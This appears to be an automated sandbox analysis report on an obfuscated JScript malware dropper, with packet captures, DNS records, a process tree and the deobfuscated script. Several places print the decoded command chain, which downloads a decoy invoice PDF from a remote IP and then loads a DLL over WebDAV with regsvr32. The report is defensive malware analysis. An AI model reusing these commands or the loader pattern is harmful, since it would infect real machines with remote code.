Jan 10, 2025 23:02:05.582071066 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.582087994 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.582104921 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.582108021 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.582118988 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.582143068 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.588598013 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.718801975 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:06.093302965 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:06.098362923 CET	8888	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:06.098512888 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:06.102344990 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:06.107192993 CET	8888	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:06.874550104 CET	8888	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:06.926368952 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:07.186794996 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:17.178030014 CET	60106	53	192.168.2.7	1.1.1.1
Jan 10, 2025 23:02:17.182877064 CET	53	60106	1.1.1.1	192.168.2.7
Jan 10, 2025 23:02:17.183022976 CET	60106	53	192.168.2.7	1.1.1.1
Jan 10, 2025 23:02:17.187829971 CET	53	60106	1.1.1.1	192.168.2.7
Jan 10, 2025 23:02:17.656255960 CET	60106	53	192.168.2.7	1.1.1.1
Jan 10, 2025 23:02:17.661161900 CET	53	60106	1.1.1.1	192.168.2.7
Jan 10, 2025 23:02:17.661241055 CET	60106	53	192.168.2.7	1.1.1.1
Jan 10, 2025 23:02:42.823968887 CET	52136	53	192.168.2.7	162.159.36.2
Jan 10, 2025 23:02:42.828787088 CET	53	52136	162.159.36.2	192.168.2.7
Jan 10, 2025 23:02:42.828912020 CET	52136	53	192.168.2.7	162.159.36.2
Jan 10, 2025 23:02:42.833678961 CET	53	52136	162.159.36.2	192.168.2.7
Jan 10, 2025 23:02:43.289187908 CET	52136	53	192.168.2.7	162.159.36.2
Jan 10, 2025 23:02:43.294457912 CET	53	52136	162.159.36.2	192.168.2.7
Jan 10, 2025 23:02:43.294568062 CET	52136	53	192.168.2.7	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:02:13.728334904 CET	59075	53	192.168.2.7	1.1.1.1
Jan 10, 2025 23:02:17.177619934 CET	53	52885	1.1.1.1	192.168.2.7
Jan 10, 2025 23:02:42.823359966 CET	53	56879	162.159.36.2	192.168.2.7
Jan 10, 2025 23:02:43.534642935 CET	53	55726	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 23:02:13.728334904 CET	192.168.2.7	1.1.1.1	0x2f90	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 23:02:13.736702919 CET	1.1.1.1	192.168.2.7	0x2f90	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:02:14.450994015 CET	1.1.1.1	192.168.2.7	0xde1c	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:02:14.450994015 CET	1.1.1.1	192.168.2.7	0xde1c	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.43	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:02:14.450994015 CET	1.1.1.1	192.168.2.7	0xde1c	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.21	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:02:14.450994015 CET	1.1.1.1	192.168.2.7	0xde1c	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.39	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:02:14.450994015 CET	1.1.1.1	192.168.2.7	0xde1c	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.23	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:02:14.450994015 CET	1.1.1.1	192.168.2.7	0xde1c	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.34	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:02:14.450994015 CET	1.1.1.1	192.168.2.7	0xde1c	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.40	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:02:14.450994015 CET	1.1.1.1	192.168.2.7	0xde1c	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.38	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:02:14.450994015 CET	1.1.1.1	192.168.2.7	0xde1c	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.36	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	193.143.1.205	80	6560	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:02:04.017615080 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 23:02:04.805711031 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:02:04 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 23:02:04.805768013 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 23:02:04.805805922 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 23:02:04.805841923 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 23:02:04.805877924 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 23:02:04.805927992 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 10, 2025 23:02:04.805963993 CET	776	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 10, 2025 23:02:04.805998087 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 10, 2025 23:02:04.806035042 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 10, 2025 23:02:04.806072950 CET	1236	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9
Jan 10, 2025 23:02:04.810981035 CET	444	IN	Data Raw: d8 51 55 3b 72 1f 4b 07 86 5e 9c eb 03 43 6f 8f a2 18 3a 7c 34 7d 33 3d 0e f7 e7 7f 7d 10 fe fa fd 38 86 36 9b 72 4d 0c bd e9 62 28 c7 86 4e 61 ea 9b 13 00 00 c0 34 f8 62 09 00 36 ca dc 4e c3 1d b9 b9 b1 50 5d 07 c2 a2 a1 0f 97 14 b9 ed a9 26 5b Data Ascii: QU;rK^Co:\|4}3=}86rMb(Na4b6NP]&[\KM(_pC%sSOJ)]kPB%ZUjog>u'`.f8\|d[C2;.? %C:ZP7+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49701	193.143.1.205	8888	7480	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:02:06.102344990 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 23:02:06.874550104 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:02:06 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	17:01:56
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31352150452488124098.js"
Imagebase:	0x7ff73fe20000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:01:57
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll
Imagebase:	0x7ff75ad00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:01:57
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:01:57
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	17:02:05
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	17:02:05
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff75ad00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	17:02:05
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7f6770000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	17:02:05
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	17:02:05
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	17:02:06
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1720,i,5711812054626061158,6965041872936324012,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function bdfmtb() {	bdfmtb() ➔ undefined
1	fncmnee = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ppcfwpit = this[rhcnupqnf + bvpvx + rhjgv + ojwdtsa + sfggms + kchyw + tldqs + njqed] ( this[choos + zeyzfa + aslcn + rhjgv + lxlpouhv + rhcnupqnf + njqed][gbhmzk + rhjgv + sfggms + bvpvx + njqed + sfggms + fpfjw + jkkrcu + rtywrwjld + sfggms + aslcn + njqed] ( choos + zeyzfa + aslcn + rhjgv + lxlpouhv + rhcnupqnf + njqed + caxpbmpy + zeyzfa + ijgbl + sfggms + lijslmm + lijslmm ) [picycgir + sfggms + jnfbtmx + picycgir + sfggms + bvpvx + bnjgf] ( aydpq + mcblmdtts + cttxlmo + lfujqq + nfdmxdi + gbhmzk + mulomvg + picycgir + picycgir + cttxlmo + sadgih + vkrgsbl + nfdmxdi + mulomvg + zeyzfa + cttxlmo + picycgir + gynqacinm + gbhmzk + nswthpdam + tldqs + njqed + rhjgv + nswthpdam + lijslmm + timsnw + cidlujq + bvpvx + tldqs + sfggms + lijslmm + gynqacinm + kchyw + tldqs + njqed + sfggms + rhjgv + tldqs + bvpvx + njqed + lxlpouhv + nswthpdam + tldqs + bvpvx + lijslmm + gynqacinm + dtdxnaxt + nswthpdam + aslcn + bvpvx + lijslmm + sfggms ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( ogxqgxqh = 0 ; ogxqgxqh < fncmnee[lijslmm + sfggms + tldqs + jnfbtmx + njqed + ijgbl] ; ++ ogxqgxqh )
4	{
5	if ( ppcfwpit == fncmnee[ogxqgxqh] )
6	{
7	ppcfwpit = true;
8	break ;
9	}
10	}
11	if ( ppcfwpit !== true )
12	this[choos + zeyzfa + aslcn + rhjgv + lxlpouhv + rhcnupqnf + njqed][sjpaj + gantaup + lxlpouhv + njqed] ( );
13	this[choos + zeyzfa + aslcn + rhjgv + lxlpouhv + rhcnupqnf + njqed][gbhmzk + rhjgv + sfggms + bvpvx + njqed + sfggms + fpfjw + jkkrcu + rtywrwjld + sfggms + aslcn + njqed] ( choos + zeyzfa + aslcn + rhjgv + lxlpouhv + rhcnupqnf + njqed + caxpbmpy + zeyzfa + ijgbl + sfggms + lijslmm + lijslmm ) [rhjgv + gantaup + tldqs] ( aslcn + kzxsncj + bnjgf + timsnw + ehgmih + aslcn + timsnw + rhcnupqnf + nswthpdam + xtyerx + sfggms + rhjgv + ojwdtsa + ijgbl + sfggms + lijslmm + lijslmm + caxpbmpy + sfggms + iohtvomj + sfggms + timsnw + znfjsb + gbhmzk + nswthpdam + kzxsncj + kzxsncj + bvpvx + tldqs + bnjgf + timsnw + cdtnv + kchyw + tldqs + vfyudzh + nswthpdam + xyfjoyto + sfggms + znfjsb + choos + sfggms + jkkrcu + picycgir + sfggms + njrjx + gantaup + sfggms + ojwdtsa + njqed + timsnw + znfjsb + fpfjw + gantaup + njqed + cwtsjhpx + lxlpouhv + lijslmm + sfggms + timsnw + ibxysydi + njqed + sfggms + kzxsncj + rhcnupqnf + ibxysydi + gynqacinm + lxlpouhv + tldqs + vfyudzh + nswthpdam + lxlpouhv + aslcn + sfggms + caxpbmpy + rhcnupqnf + bnjgf + vyjkrydkf + timsnw + ijgbl + njqed + njqed + rhcnupqnf + sakzw + ehgmih + ehgmih + noqbkhzzf + bkozyhp + zonwk + caxpbmpy + noqbkhzzf + kbmab + zonwk + caxpbmpy + noqbkhzzf + caxpbmpy + wrvpldqe + jmameob + wbfwf + ehgmih + lxlpouhv + tldqs + vfyudzh + nswthpdam + lxlpouhv + aslcn + sfggms + caxpbmpy + rhcnupqnf + ijgbl + rhcnupqnf + cdtnv + wcrlutp + wcrlutp + ojwdtsa + njqed + bvpvx + rhjgv + njqed + timsnw + ibxysydi + njqed + sfggms + kzxsncj + rhcnupqnf + ibxysydi + gynqacinm + lxlpouhv + tldqs + vfyudzh + nswthpdam + lxlpouhv + aslcn + sfggms + caxpbmpy + rhcnupqnf + bnjgf + vyjkrydkf + wcrlutp + wcrlutp + aslcn + kzxsncj + bnjgf + timsnw + ehgmih + aslcn + timsnw + tldqs + sfggms + njqed + timsnw + gantaup + ojwdtsa + sfggms + timsnw + gynqacinm + gynqacinm + noqbkhzzf + bkozyhp + zonwk + caxpbmpy + noqbkhzzf + kbmab + zonwk + caxpbmpy + noqbkhzzf + caxpbmpy + wrvpldqe + jmameob + wbfwf + ivdqt + msnyfeb + msnyfeb + msnyfeb + msnyfeb + gynqacinm + bnjgf + bvpvx + vfyudzh + xtyerx + xtyerx + xtyerx + rhjgv + nswthpdam + nswthpdam + njqed + gynqacinm + wcrlutp + wcrlutp + aslcn + kzxsncj + bnjgf + timsnw + ehgmih + aslcn + timsnw + rhjgv + sfggms + jnfbtmx + ojwdtsa + vfyudzh + rhjgv + zonwk + wrvpldqe + timsnw + ehgmih + ojwdtsa + timsnw + gynqacinm + gynqacinm + noqbkhzzf + bkozyhp + zonwk + caxpbmpy + noqbkhzzf + kbmab + zonwk + caxpbmpy + noqbkhzzf + caxpbmpy + wrvpldqe + jmameob + wbfwf + ivdqt + msnyfeb + msnyfeb + msnyfeb + msnyfeb + gynqacinm + bnjgf + bvpvx + vfyudzh + xtyerx + xtyerx + xtyerx + rhjgv + nswthpdam + nswthpdam + njqed + gynqacinm + wrvpldqe + zonwk + wrvpldqe + rfcbkpth + bkozyhp + wrvpldqe + noqbkhzzf + msnyfeb + njbhhqc + wrvpldqe + wrvpldqe + msnyfeb + wrvpldqe + rfcbkpth + bkozyhp + caxpbmpy + bnjgf + lijslmm + lijslmm, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll",0,false) ➔ 0
14	}
15	iohtvomj = "K";
16	iohtvomj = "j";
17	iohtvomj = "k";
18	iohtvomj = "g";
19	iohtvomj = "b";
20	iohtvomj = "B";
21	iohtvomj = "g";
22	iohtvomj = "g";
23	iohtvomj = "F";
24	iohtvomj = "O";
25	iohtvomj = "u";
26	iohtvomj = "o";
27	iohtvomj = "M";
28	iohtvomj = "m";
29	iohtvomj = "d";
30	iohtvomj = "B";
31	iohtvomj = "F";
32	iohtvomj = "a";
33	iohtvomj = "m";
34	iohtvomj = "g";
35	iohtvomj = "i";
36	iohtvomj = "d";
37	iohtvomj = "G";
38	iohtvomj = "n";
39	iohtvomj = "i";
40	iohtvomj = "k";
41	iohtvomj = "l";
42	iohtvomj = "P";
43	iohtvomj = "p";
44	iohtvomj = "i";
45	iohtvomj = "c";
46	iohtvomj = "t";
47	iohtvomj = "c";
48	iohtvomj = "A";
49	iohtvomj = "u";
50	iohtvomj = "h";
51	iohtvomj = "f";
52	iohtvomj = "N";
53	iohtvomj = "x";
54	kchyw = "m";
55	kchyw = "I";
56	cdtnv = "H";
57	cdtnv = "K";
58	cdtnv = "c";
59	cdtnv = "O";
